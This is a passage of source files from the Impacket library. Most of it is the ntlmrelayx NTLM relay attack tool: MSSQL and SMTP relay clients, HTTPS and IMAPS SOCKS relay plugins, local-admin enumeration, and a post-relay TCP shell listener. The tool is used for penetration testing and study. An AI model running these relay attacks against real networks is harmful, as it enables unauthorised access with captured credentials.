This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # MSSQL (TDS) Protocol Client 11 | # MSSQL client for relaying NTLMSSP authentication to MSSQL servers 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 16 | # 17 | # ToDo: 18 | # [ ] Handle SQL Authentication 19 | # 20 | import random 21 | import string 22 | from struct import unpack 23 | 24 | from impacket import LOG 25 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 26 | from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ 27 | TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN 28 | from impacket.ntlm import NTLMAuthChallenge 29 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 30 | from impacket.spnego import SPNEGO_NegTokenResp 31 | 32 | try: 33 | from OpenSSL import SSL 34 | except Exception: 35 | LOG.critical("pyOpenSSL is not installed, can't continue") 36 | 37 | PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" 38 | 39 | class MYMSSQL(MSSQL): 40 | def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): 41 | MSSQL.__init__(self,address, port, rowsPrinter) 42 | self.resp = None 43 | self.sessionData = {} 44 | 45 | def initConnection(self): 46 | self.connect() 47 | #This is copied from tds.py 48 | resp = self.preLogin() 49 | if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: 50 | LOG.debug("Encryption required, switching to TLS") 51 | 52 | # Switching to TLS now 53 | ctx = SSL.Context(SSL.TLS_METHOD) 54 | ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8')) 55 | tls = SSL.Connection(ctx,None) 56 | tls.set_connect_state() 57 | while True: 58 | try: 59 | tls.do_handshake() 60 | except SSL.WantReadError: 61 | data = tls.bio_read(4096) 62 | self.sendTDS(TDS_PRE_LOGIN, data,0) 63 | tds = self.recvTDS() 64 | tls.bio_write(tds['Data']) 65 | else: 66 | break 67 | 68 | # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 69 | # Transport Layer Security(TLS), limit data fragments to 16k in size. 70 | self.packetSize = 16*1024-1 71 | self.tlsSocket = tls 72 | self.resp = resp 73 | return True 74 | 75 | def sendNegotiate(self,negotiateMessage): 76 | #Also partly copied from tds.py 77 | login = TDS_LOGIN() 78 | 79 | login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') 80 | login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') 81 | login['ServerName'] = self.server.encode('utf-16le') 82 | login['CltIntName'] = login['AppName'] 83 | login['ClientPID'] = random.randint(0,1024) 84 | login['PacketSize'] = self.packetSize 85 | login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON 86 | 87 | # NTLMSSP Negotiate 88 | login['SSPI'] = negotiateMessage 89 | login['Length'] = len(login.getData()) 90 | 91 | # Send the NTLMSSP Negotiate 92 | self.sendTDS(TDS_LOGIN7, login.getData()) 93 | 94 | # According to the specs, if encryption is not required, we must encrypt just 95 | # the first Login packet :-o 96 | if self.resp['Encryption'] == TDS_ENCRYPT_OFF: 97 | self.tlsSocket = None 98 | 99 | tds = self.recvTDS() 100 | self.sessionData['NTLM_CHALLENGE'] = tds 101 | 102 | challenge = NTLMAuthChallenge() 103 | challenge.fromString(tds['Data'][3:]) 104 | #challenge.dump() 105 | 106 | return challenge 107 | 108 | def sendAuth(self,authenticateMessageBlob, serverChallenge=None): 109 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 110 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 111 | token = respToken2['ResponseToken'] 112 | else: 113 | token = authenticateMessageBlob 114 | 115 | self.sendTDS(TDS_SSPI, token) 116 | tds = self.recvTDS() 117 | self.replies = self.parseReply(tds['Data']) 118 | if TDS_LOGINACK_TOKEN in self.replies: 119 | #Once we are here, there is a full connection and we can 120 | #do whatever the current user has rights to do 121 | self.sessionData['AUTH_ANSWER'] = tds 122 | return None, STATUS_SUCCESS 123 | else: 124 | self.printReplies() 125 | return None, STATUS_ACCESS_DENIED 126 | 127 | def close(self): 128 | return self.disconnect() 129 | 130 | 131 | class MSSQLRelayClient(ProtocolClient): 132 | PLUGIN_NAME = "MSSQL" 133 | 134 | def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ): 135 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 136 | self.extendedSecurity = extendedSecurity 137 | 138 | self.domainIp = None 139 | self.machineAccount = None 140 | self.machineHashes = None 141 | 142 | def initConnection(self): 143 | self.session = MYMSSQL(self.targetHost, self.targetPort) 144 | self.session.initConnection() 145 | return True 146 | 147 | def keepAlive(self): 148 | # Don't know yet what needs to be done for TDS 149 | pass 150 | 151 | def killConnection(self): 152 | if self.session is not None: 153 | self.session.disconnect() 154 | self.session = None 155 | 156 | def sendNegotiate(self, negotiateMessage): 157 | return self.session.sendNegotiate(negotiateMessage) 158 | 159 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 160 | self.sessionData = self.session.sessionData 161 | return self.session.sendAuth(authenticateMessageBlob, serverChallenge) 162 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SMTP Protocol Client 11 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 12 | # 13 | # Author: 14 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import smtplib 18 | import base64 19 | from struct import unpack 20 | 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 24 | from impacket.ntlm import NTLMAuthChallenge 25 | from impacket.spnego import SPNEGO_NegTokenResp 26 | 27 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 28 | 29 | class SMTPRelayClient(ProtocolClient): 30 | PLUGIN_NAME = "SMTP" 31 | 32 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 34 | 35 | def initConnection(self): 36 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 37 | # Turn on to debug SMTP messages 38 | # self.session.debuglevel = 3 39 | self.session.ehlo() 40 | 41 | if 'AUTH NTLM' not in self.session.ehlo_resp: 42 | LOG.error('SMTP server does not support NTLM authentication!') 43 | return False 44 | return True 45 | 46 | def sendNegotiate(self,negotiateMessage): 47 | negotiate = base64.b64encode(negotiateMessage) 48 | self.session.putcmd('AUTH NTLM') 49 | code, resp = self.session.getreply() 50 | if code != 334: 51 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 52 | return False 53 | else: 54 | self.session.putcmd(negotiate) 55 | try: 56 | code, serverChallengeBase64 = self.session.getreply() 57 | serverChallenge = base64.b64decode(serverChallengeBase64) 58 | challenge = NTLMAuthChallenge() 59 | challenge.fromString(serverChallenge) 60 | return challenge 61 | except (IndexError, KeyError, AttributeError): 62 | LOG.error('No NTLM challenge returned from SMTP server') 63 | raise 64 | 65 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 66 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 67 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 68 | token = respToken2['ResponseToken'] 69 | else: 70 | token = authenticateMessageBlob 71 | auth = base64.b64encode(token) 72 | self.session.putcmd(auth) 73 | typ, data = self.session.getreply() 74 | if typ == 235: 75 | self.session.state = 'AUTH' 76 | return None, STATUS_SUCCESS 77 | else: 78 | LOG.error('SMTP: %s' % ''.join(data)) 79 | return None, STATUS_ACCESS_DENIED 80 | 81 | def killConnection(self): 82 | if self.session is not None: 83 | self.session.close() 84 | self.session = None 85 | 86 | def keepAlive(self): 87 | # Send a NOOP 88 | self.session.noop() 89 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer 10 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 11 | from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer 12 | from impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | import os 10 | import sys 11 | import pkg_resources 12 | 13 | SOCKS_RELAYS = set() 14 | 15 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 16 | if file.find('__') >= 0 or file.endswith('.py') is False: 17 | continue 18 | # This seems to be None in some case (py3 only) 19 | # __spec__ is py3 only though, but I haven't seen this being None on py2 20 | # so it should cover all cases. 21 | try: 22 | package = __spec__.name # Python 3 23 | except NameError: 24 | package = __package__ # Python 2 25 | __import__(package + '.' + os.path.splitext(file)[0]) 26 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 27 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 28 | SOCKS_RELAYS.add(pluginClass) 29 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Socks Proxy for the HTTPS Protocol 11 | # 12 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "HTTPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 28 | PLUGIN_NAME = 'HTTPS Socks Plugin' 29 | PLUGIN_SCHEME = 'HTTPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 443 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | if not HTTPSocksRelay.skipAuthentication(self): 42 | # Shut down TLS connection 43 | self.socksSocket.shutdown() 44 | return False 45 | return True 46 | 47 | def tunnelConnection(self): 48 | while True: 49 | try: 50 | data = self.socksSocket.recv(self.packetSize) 51 | except SSL.ZeroReturnError: 52 | # The SSL connection was closed, return 53 | return 54 | # Pass the request to the server 55 | tosend = self.prepareRequest(data) 56 | self.relaySocket.send(tosend) 57 | # Send the response back to the client 58 | self.transferResponse() 59 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Socks Proxy for the IMAPS Protocol 11 | # 12 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception as e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Config utilities 11 | # 12 | # Helpful enum methods for discovering local admins through SAMR and LSAT 13 | # 14 | # Author: 15 | # Ronnie Flathers / @ropnop 16 | # 17 | from impacket.dcerpc.v5 import transport, lsat, samr, lsad 18 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 19 | 20 | 21 | class EnumLocalAdmins: 22 | def __init__(self, smbConnection): 23 | self.__smbConnection = smbConnection 24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 26 | 27 | def __getDceBinding(self, strBinding): 28 | rpc = transport.DCERPCTransportFactory(strBinding) 29 | rpc.set_smb_connection(self.__smbConnection) 30 | return rpc.get_dce_rpc() 31 | 32 | def getLocalAdmins(self): 33 | adminSids = self.__getLocalAdminSids() 34 | adminNames = self.__resolveSids(adminSids) 35 | return adminSids, adminNames 36 | 37 | def __getLocalAdminSids(self): 38 | dce = self.__getDceBinding(self.__samrBinding) 39 | dce.connect() 40 | dce.bind(samr.MSRPC_UUID_SAMR) 41 | resp = samr.hSamrConnect(dce) 42 | serverHandle = resp['ServerHandle'] 43 | 44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 46 | domainHandle = resp['DomainHandle'] 47 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 48 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 49 | memberSids = [] 50 | for member in resp['Members']['Sids']: 51 | memberSids.append(member['SidPointer'].formatCanonical()) 52 | dce.disconnect() 53 | return memberSids 54 | 55 | def __resolveSids(self, sids): 56 | dce = self.__getDceBinding(self.__lsaBinding) 57 | dce.connect() 58 | dce.bind(lsat.MSRPC_UUID_LSAT) 59 | resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 60 | policyHandle = resp['PolicyHandle'] 61 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 62 | names = [] 63 | for n, item in enumerate(resp['TranslatedNames']['Names']): 64 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])) 65 | dce.disconnect() 66 | return names 67 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SSL utilities 11 | # 12 | # Various functions and classes for SSL support: 13 | # - generating certificates 14 | # - creating SSL capable SOCKS protocols 15 | # 16 | # Most of the SSL generation example code comes from the pyopenssl examples 17 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 18 | # 19 | # Made available under the Apache license by the pyopenssl team 20 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 21 | # 22 | # Author: 23 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 24 | # 25 | from OpenSSL import crypto, SSL 26 | from impacket import LOG 27 | 28 | # This certificate is not supposed to be exposed on the network 29 | # but only used for the local SOCKS plugins 30 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 31 | def generateImpacketCert(certname='/tmp/impacket.crt'): 32 | # Create a private key 33 | pkey = crypto.PKey() 34 | pkey.generate_key(crypto.TYPE_RSA, 2048) 35 | 36 | # Create the certificate 37 | cert = crypto.X509() 38 | cert.gmtime_adj_notBefore(0) 39 | # Valid for 5 years 40 | cert.gmtime_adj_notAfter(60*60*24*365*5) 41 | subj = cert.get_subject() 42 | subj.CN = 'impacket' 43 | cert.set_pubkey(pkey) 44 | cert.sign(pkey, "sha256") 45 | # We write both from the same file 46 | with open(certname, 'w') as certfile: 47 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 48 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 49 | LOG.debug('Wrote certificate to %s' % certname) 50 | 51 | # Class to wrap the client socket in SSL when serving as a SOCKS server 52 | class SSLServerMixin(object): 53 | # This function will wrap the socksSocket in an SSL layer 54 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 55 | # Create a context, we don't really care about the SSL/TLS 56 | # versions used since it is only intended for local use and thus 57 | # doesn't have to be super-secure 58 | ctx = SSL.Context(SSL.TLS_METHOD) 59 | ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8')) 60 | try: 61 | ctx.use_privatekey_file(cert) 62 | ctx.use_certificate_file(cert) 63 | except SSL.Error: 64 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 65 | generateImpacketCert(cert) 66 | ctx.use_privatekey_file(cert) 67 | ctx.use_certificate_file(cert) 68 | 69 | sslSocket = SSL.Connection(ctx, self.socksSocket) 70 | sslSocket.set_accept_state() 71 | 72 | # Now set this property back to the SSL socket instead of the regular one 73 | self.socksSocket = sslSocket 74 | -------------------------------------------------------------------------------- /plugins/impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # TCP interactive shell 11 | # 12 | # Launches a TCP shell for interactive use of clients 13 | # after successful relaying 14 | # 15 | # Author: 16 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 17 | # 18 | import socket 19 | #Default listen port 20 | port = 11000 21 | class TcpShell: 22 | def __init__(self): 23 | global port 24 | self.port = port 25 | #Increase the default port for the next attack 26 | port += 1 27 | 28 | def listen(self): 29 | #Set up the listening socket 30 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | #Bind on localhost 32 | serversocket.bind(('127.0.0.1', self.port)) 33 | #Don't allow a backlog 34 | serversocket.listen(0) 35 | self.connection, host = serversocket.accept() 36 | #Create file objects from the socket 37 | self.stdin = self.connection.makefile("r") 38 | self.stdout = self.connection.makefile("w") 39 | 40 | def close(self): 41 | self.stdout.close() 42 | self.stdin.close() 43 | self.connection.close() 44 | -------------------------------------------------------------------------------- /plugins/impacket/examples/utils.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Utility and helper functions for the example scripts 11 | # 12 | # Author: 13 | # Martin Gallo (@martingalloar) 14 | # 15 | import re 16 | 17 | 18 | # Regular expression to parse target information 19 | target_regex = re.compile(r"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)") 20 | 21 | 22 | # Regular expression to parse credentials information 23 | credential_regex = re.compile(r"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?") 24 | 25 | 26 | def parse_target(target): 27 | """ Helper function to parse target information. The expected format is: 28 | 29 | <:PASSWORD>@HOSTNAME 30 | 31 | :param target: target to parse 32 | :type target: string 33 | 34 | :return: tuple of domain, username, password and remote name or IP address 35 | :rtype: (string, string, string, string) 36 | """ 37 | domain, username, password, remote_name = target_regex.match(target).groups('') 38 | 39 | # In case the password contains '@' 40 | if '@' in remote_name: 41 | password = password + '@' + remote_name.rpartition('@')[0] 42 | remote_name = remote_name.rpartition('@')[2] 43 | 44 | return domain, username, password, remote_name 45 | 46 | 47 | def parse_credentials(credentials): 48 | """ Helper function to parse credentials information. The expected format is: 49 | 50 | <:PASSWORD> 51 | 52 | :param credentials: credentials to parse 53 | :type credentials: string 54 | 55 | :return: tuple of domain, username and password 56 | :rtype: (string, string, string) 57 | """ 58 | domain, username, password = credential_regex.match(credentials).groups('') 59 | 60 | return domain, username, password 61 | -------------------------------------------------------------------------------- /plugins/impacket/helper.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Helper used to build ProtocolPackets 11 | # 12 | # Author: 13 | # Aureliano Calvo 14 | # 15 | 16 | import struct 17 | import functools 18 | from six import add_metaclass 19 | 20 | import impacket.ImpactPacket as ip 21 | 22 | 23 | def rebind(f): 24 | functools.wraps(f) 25 | def rebinder(*args, **kwargs): 26 | return f(*args, **kwargs) 27 | 28 | return rebinder 29 | 30 | class Field(object): 31 | def __init__(self, index): 32 | self.index = index 33 | 34 | def __call__(self, k, d): 35 | getter = rebind(self.getter) 36 | getter_name = "get_" + k 37 | getter.__name__ = getter_name 38 | getter.__doc__ = "Get the %s field" % k 39 | d[getter_name] = getter 40 | 41 | setter = rebind(self.setter) 42 | setter_name = "set_" + k 43 | setter.__name__ = setter_name 44 | setter.__doc__ = "Set the %s field" % k 45 | d["set_" + k] = setter 46 | 47 | d[k] = property(getter, setter, doc="%s property" % k) 48 | 49 | class Bit(Field): 50 | def __init__(self, index, bit_number): 51 | Field.__init__(self, index) 52 | self.mask = 2 ** bit_number 53 | self.off_mask = (~self.mask) & 0xff 54 | 55 | def getter(self, o): 56 | return (o.header.get_byte(self.index) & self.mask) != 0 57 | 58 | def setter(self, o, value=True): 59 | b = o.header.get_byte(self.index) 60 | if value: 61 | b |= self.mask 62 | else: 63 | b &= self.off_mask 64 | 65 | o.header.set_byte(self.index, b) 66 | 67 | class Byte(Field): 68 | 69 | def __init__(self, index): 70 | Field.__init__(self, index) 71 | 72 | def getter(self, o): 73 | return o.header.get_byte(self.index) 74 | 75 | def setter(self, o, value): 76 | o.header.set_byte(self.index, value) 77 | 78 | class Word(Field): 79 | def __init__(self, index, order="!"): 80 | Field.__init__(self, index) 81 | self.order = order 82 | 83 | def getter(self, o): 84 | return o.header.get_word(self.index, self.order) 85 | 86 | def setter(self, o, value): 87 | o.header.set_word(self.index, value, self.order) 88 | 89 | class Long(Field): 90 | def __init__(self, index, order="!"): 91 | Field.__init__(self, index) 92 | self.order = order 93 | 94 | def getter(self, o): 95 | return o.header.get_long(self.index, self.order) 96 | 97 | def setter(self, o, value): 98 | o.header.set_long(self.index, value, self.order) 99 | 100 | class ThreeBytesBigEndian(Field): 101 | def __init__(self, index): 102 | Field.__init__(self, index) 103 | 104 | def getter(self, o): 105 | b = ip.array_tobytes(o.header.get_bytes()[self.index:self.index+3]) 106 | #unpack requires a string argument of length 4 and b is 3 bytes long 107 | (value,) = struct.unpack('!L', b'\x00'+b) 108 | return value 109 | 110 | def setter(self, o, value): 111 | # clear the bits 112 | mask = ((~0xFFFFFF00) & 0xFF) 113 | masked = o.header.get_long(self.index, ">") & mask 114 | # set the bits 115 | nb = masked | ((value & 0x00FFFFFF) << 8) 116 | o.header.set_long(self.index, nb, ">") 117 | 118 | 119 | class ProtocolPacketMetaklass(type): 120 | def __new__(cls, name, bases, d): 121 | d["_fields"] = [] 122 | items = list(d.items()) 123 | if not object in bases: 124 | bases += (object,) 125 | for k,v in items: 126 | if isinstance(v, Field): 127 | d["_fields"].append(k) 128 | v(k, d) 129 | 130 | d["_fields"].sort() 131 | 132 | def _fields_repr(self): 133 | return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields ) 134 | def __repr__(self): 135 | 136 | return "<%(name)s %(fields)s \nchild:%(r_child)s>" % { 137 | "name": name, 138 | "fields": self._fields_repr(), 139 | "r_child": repr(self.child()), 140 | } 141 | 142 | d["_fields_repr"] = _fields_repr 143 | d["__repr__"] = __repr__ 144 | 145 | return type.__new__(cls, name, bases, d) 146 | 147 | @add_metaclass(ProtocolPacketMetaklass) 148 | class ProtocolPacket(ip.ProtocolPacket): 149 | def __init__(self, buff = None): 150 | ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size) 151 | if buff: 152 | self.load_packet(buff) 153 | -------------------------------------------------------------------------------- /plugins/impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /plugins/impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | pass 11 | -------------------------------------------------------------------------------- /plugins/impacket/pcap_linktypes.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | 10 | LINKTYPE_NULL = 0 11 | DLT_NULL = LINKTYPE_NULL 12 | LINKTYPE_ETHERNET = 1 13 | DLT_EN10MB = LINKTYPE_ETHERNET 14 | LINKTYPE_AX25 